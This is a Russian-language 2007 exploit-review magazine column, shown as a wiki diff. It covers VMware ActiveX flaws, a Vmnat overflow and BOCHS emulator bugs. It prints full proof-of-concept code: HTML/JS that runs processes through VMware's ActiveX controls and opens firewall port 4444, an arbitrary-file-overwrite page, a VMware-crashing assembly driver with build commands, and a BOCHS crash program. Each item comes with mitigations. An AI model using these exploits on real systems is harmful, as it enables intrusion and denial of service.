Различия

Здесь показаны различия между двумя версиями данной страницы.

Ссылка на это сравнение

articles:exploits-review-0x0f [2017/09/05 02:55] (текущий)
Строка 1: Строка 1:
 +====== exploits-review-0x0F ======
 +<​sub>​{{exploits-review-0x0F.odt|Original file}}</​sub>​
 +
 +====== exploits review\\ 0Fh выпуск ======
 +
 +крис касперски ака мыщъх, a.k.a. nezumi, a.k.a elraton, a.k.a. souriz, no-email
 +
 +**виртуальные машины (****BOCHS, VMWare) ****предназначены для усиления безопасности компьютера и активно используются для запуска подозрительных программ,​ исследования вирусов,​ червей,​ ****exploit'​****ов,​ ****etc. ****однако,​ как и любое другое программное обеспечение,​ виртуальные машины не свободны от ошибок и потому представляют собой весьма соблазнительную мишень для разнообразных атак, которым и посвящен наш сегодняшний выпуск.**
 +
 +===== VM-Ware: удаленное исполнение произвольного кода I =====
 +
 +**brief**:​29 июля 2007 года хакер по кличке callAX, входящий в состав весьма продуктивной аргентинской исследовательской группы "​GOODFELLAS Security Research Team" (http://​goodfellas.shellcode.com.ar)обнаружил,​ что в состав виртуальной машины VM-Ware входит любопытный ActiveX-компонент,​ реализованный в динамической библиотеке vielib.dll (ищите ее в"​\Program Files\Common Files\VMware\VMware Virtual Image Editing\"​),​ экспортирующей многие потенциально небезопасные методы,​ позволяющие манипулировать с _основной_ (а не гостевой!!!) операционной системой и при этом не проверяющий откуда происходит вызов: из родного приложения или из зловредного кода. Одним из таких методов является **StartProcess**,​ позволяющий (как и следует из его названия) порождать процессы от имени текущего пользователя со всеми его привилегиями. Достаточно просто зайти на "​хакерскую"​ страницу,​ "​заряженную"​ тротиловым кодом (VM-Ware при этом может быть вообще не запущена,​ достаточно,​ чтобы она просто была установлена). И все… еще одна жертва добавлена в копилку хакера,​ подробнее о которой можно прочитать на http://​www.securityfocus.com/​bid/​25118;​
 +
 +**targets**:​в пресс-релизе распространенной группой GOODFELLAS, упоминается всего лишь VM-Ware 6.0,​ однако,​ мыщъх подтверждает,​ что уязвимость присутствует и в версии 5.5, а вот версия 4.5 неуязвима. Причем,​ для успешного вызова ActiveX-компонентов нам понадобится IE с версией не ниже 6.0. А вот Лис и Опера в этом отношении совершенно безопасны;​
 +
 +**exploit:​******ниже приведен исходный текст exploit'​а,​ опубликованный группой GOODFELLAS и доступный на следующих сайтах:​ http://​www.milw0rm.com/​exploits/​4244,​ http://​www.securityfocus.com/​data/​vulnerabilities/​exploits/​25118.html,​ а так же моем мыщъхином сервере:​ http://​nezumi.org.ru/​souriz/​hack/​vmware-bid-25118.htm.
 +
 +<​HTML>​
 +
 +<​BODY>​
 +
 +<object id=ctrl classid="​clsid:​{7B9C5422-39AA-4C21-BEEF-645E42EB4529}">​
 +
 +</​object>​
 +
 +<​SCRIPT>​
 +
 +
 +
 +function Poc()
 +
 +{
 +
 +arg1="​C:​\\windows\\system32\\netsh.exe"​
 +
 +arg2="​C:​\\windows\\system32\\netsh.exefirewall add portopening tcp 4444 GotIT"
 +
 +arg3="​C:​\\windows\\system32\\"​
 +
 +arg4="​C:​\\Program Files\\Microsoft Office\\OFFICE11\\noiseneu.txt"​
 +
 +arg5="​C:​\\Program Files\\Microsoft Office\\OFFICE11\\noiseeng.txt"​
 +
 +arg6="​C:​\\Program Files\\Microsoft Office\\OFFICE11\\noiseenu.txt"​
 +
 +arg7="​1"​
 +
 +ctrl.StartProcess(arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7)
 +
 +}
 +
 +</​SCRIPT>​
 +
 +<input language=JavaScript onclick=Poc() type=button value="​Proof of Concept">​
 +
 +</​BODY>​
 +
 +</​HTML>​
 +
 +Листинг 1 исходный код exploit'​а поражающий VMWare 5.5+ и IE 6.0+, открывающий 44444 порт на штатном брандмауэре
 +
 +Как видно, exploit запускает системную утилиту netsh.exe, заставляя ее отрывать 4444 порт на штатном брандмауэре,​ что само по себе еще не есть атака, но в совокупности с остальными методами… Однако,​ при попытке нажатия кнопки "Proof of Concept"​ (см. рис. 1 слева) IE жутко матерится,​ предупреждает нас об опасности,​ высвечивая злобное диалоговое окно и чтобы атака возымела действие,​ жертва должна зайти в настройки безопасности IE и принудительно отключить запрет на использование ActiveX-элементов,​ не помеченных как безопасные (см. рис. 1 справа),​ что навряд кому придет в голову,​ однако,​ следует помнить,​ что существует ряд атак, направленных непосредственно на сам IE (который,​ как известно,​ дыряв как дуршлаг) и позволяющих обходить эти ограничения. Впрочем,​ Outpost Firewall (и, вероятно,​ некоторые другие персональные брандмауэры) тут же поднимут страшный лай на подозрительную DLL, так что их придется тоже как-то нейтрализовать;​
 +
 +**solution**:​официальное лекарство еще находится в стадии разработки,​ пока же можно: а) ничего не делать,​ т. к. по умолчанию IE не будет выполнять ActiveX-код;​ б) активировать Kill-bit для clsid элемента {7B9C5422-39AA-4C21-BEEF-645E42EB4529},​ в соответствии с рекомендациями Microsoft: http://​support.microsoft.com/​kb/​240797;​ в) разрегистрировать библиотеку vielib.dll через regsvr32 — VMware Virtual Image Editing работать,​ конечно,​ перестанет,​ ну да невелика беда.
 +
 +{{exploits-review-0x0f_Image_0.png?​302}}{{exploits-review-0x0f_Image_1.png?​237}}
 +
 +Рисунок 1 реакция IE 6.x на попытку запуска explot'​а (слева) и преднамеренное отключение защиты от вторжение (справа)
 +
 +===== VM-Ware: удаленное исполнение произвольного кода II =====
 +
 +**brief**:​30 июля 2007 года, то есть буквально на следующий день после обнаружения дыры в VM-Ware, все та же самая аргентинская группа "​GOODFELLAS Security Research Team"​обнаружила еще два небезопасных метода в динамической библиотеке vielib.dll, которыми на сей раз оказались **CreateProcess **и **CreateProcessEx**,​ позволяющие (как это и следует из их названия) запускать процессы с правами пользователя,​ зашедшего на хакерскую страничку,​ начиненную зловредным кодом или получившего HTML-письмо по электронной почте.Первооткрывателем дыры значился все тот же callAX, что вполне логично,​ учитывая,​ что объем кода уязвимой динамической библиотеке относительно небольшой и потому в данном случае мы скорее всего имеем дело не со слепой случайностью,​ а с сознательным анализом,​ направленным на поиск новых дыр, который оказался весьма плодотворным. Более подробную информацию можно найти на http://​www.securityfocus.com/​bid/​25131;​
 +
 +**targets**:​несмотря на то, что и Security Focus и "​GOODFELLAS Security Research Team" упоминают одну лишь VM Ware 6.0, мыщъх подтверждает,​ что дыра присутствует и в более ранних версиях,​ в частности в 5.5, однако,​ 4.5 по любому остается неуязвимой. Так же, эта проблема не распространяется на тех, кто использует IE 5.0- или альтернативные браузеры типа Горящего Лиса/​Оперы;​
 +
 +**exploits**:​ниже приведен исходный текст exploit'​а,​ опубликованный группой GOODFELLAS и доступный на следующих сайтах:​ http://​www.milw0rm.com/​exploits/​4244,​ http://​downloads.securityfocus.com/​vulnerabilities/​exploits/​25131.html,​ а так же моем мыщъхином сервере:​ http://​nezumi.org.ru/​souriz/​hack/​vmware-bid-25118.htm:​
 +
 +<​HTML>​
 +
 +<​BODY>​
 +
 +<​objectid=_90 classid="​clsid:​{0F748FDE-0597-443C-8596-71854C5EA20A}">​
 +
 +</​object>​
 +
 +<​SCRIPT>​
 +
 +function _d0_()
 +
 +{
 +
 +ba="​c:​\\windows\\system32\\calc.exe"​
 +
 +ad="​c:​\\windows\\system32\\calc.exe"​
 +
 +fO="​c:​\\windows\\system32\\"​
 +
 +Od=1
 +
 +
 +
 +_90.CreateProcess(ba,​ ad, fO, Od)
 +
 +}
 +
 +</​SCRIPT>​
 +
 +<input language=JavaScript onclick=_d0_() type=button value="​Proof of Concept">​
 +
 +</​BODY>​
 +
 +</​HTML>​
 +
 +Листинг 2 исходный код exploit'​а поражающий VMWare 5.5+ и IE 6.0+, запускающий стандартный "​Калькулятор"​ (см. рис. 2). //​внимание! следите за путями!!! лично у меня система установлена в папку ////​F:​\WINNT ////и потому пути ////​C:​\\windows\… ////​просто нет!//
 +
 +**solution**:​полностью аналогично предыдущему случаю,​ с той лишь разницей,​ что теперь мы имеет дело с clsid объектом с идентификатором {0F748FDE-0597-443C-8596-71854C5EA20A};​
 +
 +{{exploits-review-0x0f_Image_2.png?​553}}
 +
 +Рисунок 2 Калькулятор,​ запущенный хакером на удаленной машине через дыру в ActiveX-компонент,​ входящий в состав VM-Ware
 +
 +===== VM-Ware: перезапись произвольного файла =====
 +
 +**brief**:​28 июля 2007 года,​ аргентинской исследовательской группой "​GOODFELLAS Security Research Team"​…. ну, вы, короче в курсе. В этот день уже известный нам хакер по кличке callAX обнаружил свою первую дыру в ActiveX-компоненте,​ входящим в состав VM-Ware, и конструктивно реализованную в виде динамической библиотекиIntraProcessLogging.dll,​ имеющей в своем "​арсенале"​ метод **SetLogFileName**,​ задающий имя файла, в который виртуальная машина будет записывать свой лог (причем,​ имя файла должно быть задано вместе с полный путем). Почему мы (точнее даже не мы, а автор, то есть мыщъх) отошли от хронологической последовательности открытия дыр? Уязвимость,​ обнаруженная первой,​ оказалась в самом хвосте обзора! Ну и что с того, что в хвосте?​! Хвост, между прочим,​ очень даже хорошее место для такой незначительной дыры. Конечно,​ перезапись файлов (с учетом наличия у жертвы прав на такую операцию) – весьма мощное оружие для DoS атаки, но забросить shell-код на удаленную машину весьма проблематично,​ поскольку мы не можем напрямую воздействовать на содержимое log-файла. Подробнее см: http://​www.securityfocus.com/​bid/​25110;​
 +
 +**targets**:​поразительно,​ но свои первые исследования callAX проводил на VM-Ware Workstation 5.5.3 build 42958, но потом внезапно "​забыл"​ о ней, переключившись на 6.0 версию,​ несмотря на то, что дыры есть во всех них!
 +
 +**exploit**:​ниже приведен исходный текст exploit'​а,​ опубликованный группой GOODFELLAS и доступный на следующих сайтах:​ http://​www.milw0rm.com/​exploits/​4240,​ http://​downloads.securityfocus.com/​vulnerabilities/​exploits/​25110.html,​ а так же моем мыщъхином сервере:​ http://​nezumi.org.ru/​souriz/​hack/​vmware-bid-25110.htm:​
 +
 +<​HTML>​
 +
 +<​BODY>​
 +
 +<object id=ctrl classid="​clsid:​{AF13B07E-28A1-4CAC-9C9A-EC582E354A24}">​
 +
 +</​object>​
 +
 +
 +
 +<​SCRIPT>​
 +
 +
 +
 +function Doit()
 +
 +{
 +
 +File = "​c:​\\arbitrary_file.txt"​
 +
 +ctrl.SetLogFileName(File)
 +
 +}
 +
 +</​SCRIPT>​
 +
 +
 +
 +<input language=JavaScript onclick=Doit() type=button value="​Proof of Concept">​
 +
 +</​BODY>​
 +
 +</​HTML>​
 +
 +Листинг 3 исходный код exploit'​а поражающий VMWare 5.5+ и IE 6.0+, создающий файл arbitrary_file.txt в корневом каталоге диска C: (см. рис. 3)
 +
 +**solution**:​аналогично предыдущему,​ с той лишь разницей,​ что идентификатор clsid на этот раз равен {AF13B07E-28A1-4CAC-9C9A-EC582E354A24};​
 +
 +{{exploits-review-0x0f_Image_3.png?​553}}
 +
 +Рисунок 3 демонстрация работы exploit'​а,​ создающего файл arbitrary_file.txt в корневом каталоге диска C:
 +
 +===== full disclose\\ подрыв виртуальных машин изнутри =====
 +
 +Виртуальные машины активно используются в качестве "​полигона"​ для исследования всякой вредоносной заразы в условиях приближенных к боевым,​ что заразе,​ естественно,​ не нравится и потому она ведет атаку по двум направлением. Первое (и главное) — попытаться вырваться из-за застенков виртуальной машины,​ проникнув в основную операционную систему,​ превратив ее в труху. Второе — создать такой код, который бы работал только на "​живом"​ железе,​ а под виртуальной машиной либо выполнялся неправильно (задача минимум) либо сокрушал виртуальную машину (задача максимум).
 +
 +Уязвимости в виртуальных машинах есть, пускай,​ не в таких больших количествах как в операционных системах семейства Windows, однако,​ как женщина не может быть наполовину беременной,​ так и виртуальная машине не бывает "в целом надежной"​. Достаточно всего лишь одного прецедента,​ чтобы исследователи навсегда потеряли доверие к виртуальным машинам.
 +
 +И такой прецедент действительно имел место, когда в декабре 2005 года Tim Shelton опубликовал на форуме Full-disclosure (http://​lists.grok.org.uk/​pipermail/​full-disclosure/​2005-December/​040442.html) сообщение о наличии удаленной дыры в службе **Vmnat**, реализованной в исполняемом файле vmnat.exe, входящим в состав VM-Ware Workstation 5.5.0, VM-Ware GSX Server, VM-Ware ESX Server, VM-Ware Ace и VM-Ware Player. (к слову сказать,​ достаточно многие кодокопатели до сих пор — то есть в 2007 году — используют VM-Ware 4.5, которая их полностью устраивает).
 +
 +Дефекты проектирования привели к тому, что указанная служба оказалась не в состоянии переваривать специальным образом "​снаряженные"​ FTP-запросы "​EPRT"​ и "​PORT",​ вызывая переполнение динамической памяти (так же называемой кучей) в службе **natd**(см. рис. 4),​ с возможностью засылки shell-кода,​ исполняемого на основной (host) операционной системе со всеми вытекающими последствиями. Кстати говоря,​ атака осуществима не только из-под виртуальной машины,​ но и внешней сети (инта- и/или интернет),​ если, конечно,​ виртуальная сеть сконфигурирована соответствующим образом (устанавливаемым по умолчанию),​ а не ограничена пересылкой данных _только_ между виртуальными машинами.
 +
 +Более подробную информацию по теме можно найти на http://​www.securityfocus.com/​bid/​15998. Для исправления дефекта рекомендуется скачать новую версию с www.vmware.com/​download (а, если это по каким-то причинам невозможно/​нежелательно),​ то воспользоваться костылем,​ описанным в Базе Знаний VM Ware: http://​www.vmware.com/​support/​kb (Answer ID 2002).
 +
 +{{exploits-review-0x0f_Image_4.png?​553}}
 +
 +Рисунок 4 прорыв из-под VM Ware через дыру в Vmnat
 +
 +Кстати говоря,​ это была не первая дыра в VM-Ware и если поднять архивы,​ то можно обнаружить,​ что еще в самой ранней версии VM-Ware 1.0.1, доступной тогда только для Linux, присутствовала ошибка переполнения,​ обнародованная на BugTraq в июне 1999 года хакером по имени Jason Rhoads <​jason.rhoads@sabernet.net>​. Исходный код exploit'​а можно скачать с Security-Focus'​а:​ http://​www.securityfocus.com/​data/​vulnerabilities/​exploits/​vmware.c. И хотя он давно потерял свою актуальность (дефект была исправлен в следующей версии 1.0.2), главное — сам факт!!!
 +
 +Парад дыр тем временем продолжается. Было бы утомительно (да и неинтересно) останавливаться на каждой из них и смаковать ее во всех подробностях. Достаточно сказать,​ что последнее сообщение о переполнении буфера в VM-Ware опубликовано совсем недавно и датируется 6 апреля 2007 года,​ затрагивая VM-Ware ESX Server 3.0/3.0.1. И хотя какие-либо технические детали на данный момент отсутствуют (информация об уязвимости опубликована самими разработчиками,​ которые,​ совершенно не заинтересованы раскрывать интимные подробности своей жизни),​ анализ заплаток (до сих пор кстати,​ не выпущенных) позволяет локализовать положение дыры и написать exploit'​ы. Так что следите за новостям на http://​www.securityfocus.com/​bid/​23322.
 +
 +Короче говоря,​ верить VM-Ware нельзя и прежде,​ чем отлаживать на ней очередного червя, не помешает установить все последние обновления,​ которое только существуют на данный момент. С другой стороны,​ более древние версии выглядят менее навороченными и потенциально более устойчивы к прорыву за пределы виртуальной машины. То есть, традиционные меры предосторожности не помешают. Ведь когда-то червей отлаживали непосредственно на основных компьютерах и в большинстве случаев ничего трагичного при этом не происходило.
 +
 +Ладно, будет считать,​ что с прорывом за пределы VM-Ware мы разобрались и перейдем ко всевозможным "​пакостям"​ внутри нее. Следующий код (см. листинг 4) вызывает остановку виртуальной машины (что равносильно команде Power/​Suspend в главном меню виртуальной машины),​ однако,​ после пробуждения она, увы, оказывается безнадежно зависшей и потому приходится перезагружаться.
 +
 +{{exploits-review-0x0f_Image_5.png?​553}}
 +
 +Рисунок 5 зловредный код вгоняет виртуальную машину в сон
 +
 +.686
 +
 +.model flat, stdcall
 +
 +.code
 +
 +DriverEntry proc
 +
 +mov eax, 110
 +
 +mov ebx, 3
 +
 +int 80h
 +
 +mov ax, 6c81h
 +
 +mov dx, 1004h
 +
 +out dx, ax
 +
 +xor ebx, ebx
 +
 +xor eax, eax
 +
 +inc eax
 +
 +int 80h
 +
 +
 +
 +mov eax, 0C0000182h; STATUS_DEVICE_CONFIGURATION_ERROR
 +
 +ret
 +
 +DriverEntry endp
 +
 +end DriverEntry
 +
 +Листинг 4 исходный код драйвера VMWare-crash.asm,​ вгоняющего виртуальную машину в сон из которого ей уже не проснуться
 +
 +Компилируется драйвер средствами NT DDK и делается это вполне стандартной командной стройкой следующего содержания:​
 +
 +ml /nologo /c /coff VMWareSL.asm
 +
 +link /driver /​base:​0x10000 /align:32 /​out:​VMWareSL.sys /​subsystem:​native VMWareSL.obj
 +
 +Листинг 5 компиляция драйвера средствами NT DDK
 +
 +Для загрузки драйвера "на лету"​ хорошо подходит бесплатная утилита w2k_load.exe,​ написанная Свеном Шрайбером,​ и прилагаемая к книге "​Недокументированные возможности Windows 2000"​. Для тех у кого этой книги нет, могут скачать утилиту с мыщъхиного сайта: http://​nezumi.org.ru/​souriz/​hack/​w2k_load.zip. Рядышком лежат исходные тексты драйвера-убийцы и готовая бинарная сборка (на тот случай если под рукой не окажется NT DDK): http://​nezumi.org.ru/​souriz/​hack/​vmware-crash.zip.
 +
 +{{exploits-review-0x0f_Image_6.png?​553}}
 +
 +Рисунок 6 виртуальная машина в состоянии сна из которого уже нет возврата
 +
 +Естественно,​ NTDDK это не догма. В конечном счете, никакого произвола здесь нет и с ничуть не меньшим успехом можно использовать,​ например,​ FASM или даже засунуть ассемблерный код в загружаемый модуль ядра и натравить его на Linux.
 +
 +При этом VM-Ware конкретно поедет крышей и аварийно завершит работу _всех_ гостевых машин, с выдачей ругательного диалогового окна с надписью "*** VMware Workstation internal monitor error ***" и кучей ненужной технической информации (см. рис. 7).
 +
 +{{exploits-review-0x0f_Image_7.png?​553}}
 +
 +Рисунок 7 одна гостевая система убивает все остальные и сносит крышу VM Ware
 +
 +К тому же VM-Ware поддерживает специальный недокументированный back-door интерфейс,​ позволяющим гостевым операционным системам управлять виртуальной машиной,​ что во-первых,​ позволяет зловредному коду определить,​ что он исполняется отнюдь не на "​живом"​ железе,​ а работает под VM-Ware, которую,​ посредством того же back-door интерфейса можно отправить в глубокий даун.
 +
 +Back-Door интерфейс был детально исследован японским хакером по имени Kato и описан им на своей страничке:​ http://​chitchat.at.infoseek.co.jp/​vmware/​backdoor.html.В общих чертах все выглядит приблизительно так (см. листинг 6).
 +
 +В регистр EAX заносится "​волшебный пирожок",​ представляющий собой константу 564D5868h, после чего в CX помещается номер команды,​ а в EBX – ее параметры (описания команд вместе с параметрами можно найти на странице у Kato), после чего осуществляется запись (или чтения) порта 5658h, через который,​ собственно говоря,​ и происходит взаимодействие гостевой операционной системы с виртуальной машиной.
 +
 +MOVEAX,​564D5868h/​* "​волшебный пирожок"​ */
 +
 +MOVCX,​номер команды
 +
 +MOVEBX,​параметры команды
 +
 +
 +
 +MOVDX,​5658h/​* VMware I/O Port*/
 +
 +
 +
 +INEAX, DX (or OUT DX, EAX)
 +
 +Листинг 6 принцип работы back-door интерфейса VM-Ware
 +
 +Естественно,​ можно (и нужно!) пройтись hiew'​ом по коду VM-Ware, найти в ней все константы 564D5868h и заменить их чем ни будь другим. Для пущей надежности тоже самое следует проделать с номером порта. Работоспособности VM-Ware это не нарушит,​ зато зловредный код потеряет возможность пролезть через back-door интерфейс.
 +
 +Впрочем,​ VM-Ware уже достаточно скомпрометировала себя и спасти ее репутацию может разве что чудо. Но чудес, как известно,​ не бывает,​ а вот конкуренты имеются в большом ассортименте.
 +
 +Рассмотрим например,​ весьма популярный эмулятор BOCHS (bochs.sourceforge.net). Ужасно тормозной,​ зато бесплатный и, что самое важное,​ за все время своего существования не обнаруживший ни одной дыры, позволяющей зловредному коду вырваться за пределы виртуальной машины. Другая полезная "​вкусность"​ — встроенный отладчик,​ работающий на уровне виртуальной машины и потому совершенно невидимый отлаживаемому коду. Короче говоря,​ с точки зрения безопасности весь потенциально опасный код лучше всего исследовать под BOCHS'​ем.
 +
 +{{exploits-review-0x0f_Image_8.png?​553}}
 +
 +Рисунок 8 BOCHS за работой
 +
 +Тем не менее, BOCHS все-таки содержит несколько некритических ошибок переполнения,​ позволяющих гостевой операционной системе вызывать аварийное завершение работы эмулятора,​ препятствующее отладке малвари. Однако,​ непосредственно на саму операционную систему зловредный код воздействовать не может, точнее пути такого воздействия неизвестны.
 +
 +В частности,​ на Security-Focus'​e значится всего одна ошибка типа переполнения буфера,​ вызывающая отказ в обслуживании,​ относящаяся к версии BOCHS 2.3. Обнаруженная в конце мая 2007 года хакером по кличке Tavis Ormandy, она все еще остается достаточно актуальной (далеко не все пользовали BOCHS'​а почесались скачать с сайта заплатку).
 +
 +Ниже приводится исходный текст exploit'​а (см. листинг 7),​ любезно позаимствованный с http://​downloads.securityfocus.com/​vulnerabilities/​exploits/​24246.c:​
 +
 +#include <​sys/​io.h>​
 +
 +int main(int argc, char **argv)
 +
 +{
 +
 +iopl(3);
 +
 +outw(0x5292,​ 0x24c);
 +
 +outw(0xffff,​ 0x245);(a)
 +
 +outw(0x1ffb,​ 0x24e);
 +
 +outb(0x76, 0x241);
 +
 +outb(0x7b, 0x240);
 +
 +outw(0x79c4,​ 0x247);
 +
 +outw(0x59e6,​ 0x240);
 +
 +return 0;
 +
 +}
 +
 +(a) <- TXCNT is inserted here.
 +
 +Листинг 7 исходный код exploit'​а,​ вызывающий переполнения буфера в эмуляторе BOCHS 2.3 с последующим отказом в обслуживании
 +
 +Покопавшись в исторических хрониках,​ можно так же обнаружить имевшую место быть ошибку переполнения кучи в модуле виртуальной сетевой карты NE2000 RX, что осуществлялось записью слишком большого числа в регистр TXCNT, что позволяло осуществлять модифицировать память эмулятора,​ исходный код уязвимого фрагмента которого приведен ниже (см. листинг 8):​
 +
 +void bx_ne2k_c::​rx_frame(const void *buf,
 +
 +unsigned io_len)
 +
 +{
 +
 +/* ... */
 +
 +// copy into buffer, update curpage, and signal
 +
 +interrupt if config'​d
 +
 +startptr=&​BX_NE2K_THIS s.mem[BX_NE2K_THISs.curr_page*256-BX_NE2K_MEMSTART];​a
 +
 +if ((nextpage > BX_NE2K_THIS s.curr_page) ||
 +
 +((BX_NE2K_THIS s.curr_page + pages) ==
 +
 +BX_NE2K_THIS s.page_stop))
 +
 +{
 +
 +memcpy(startptr,​ pkthdr, 4);
 +
 +memcpy(startptr + 4, buf, io_len);b
 +
 +BX_NE2K_THIS s.curr_page = nextpage;
 +
 +/* ... */
 +
 +Листинг 8 фрагмент исходного кода уязвимого модуля эмулятора сетевой карты NE2000 RX
 +
 +Впрочем,​ не известно ни одного зловредного кода, реально использующего эту уязвимость для своего блага. Между тем, с ростом популярности виртуальных машин как инструмента "​трепонации"​ малвари,​ создатели последней мало-помалу начинают задумываться о методах борьбы,​ оттачивая новые технологии нападения и обороны.
 +
 +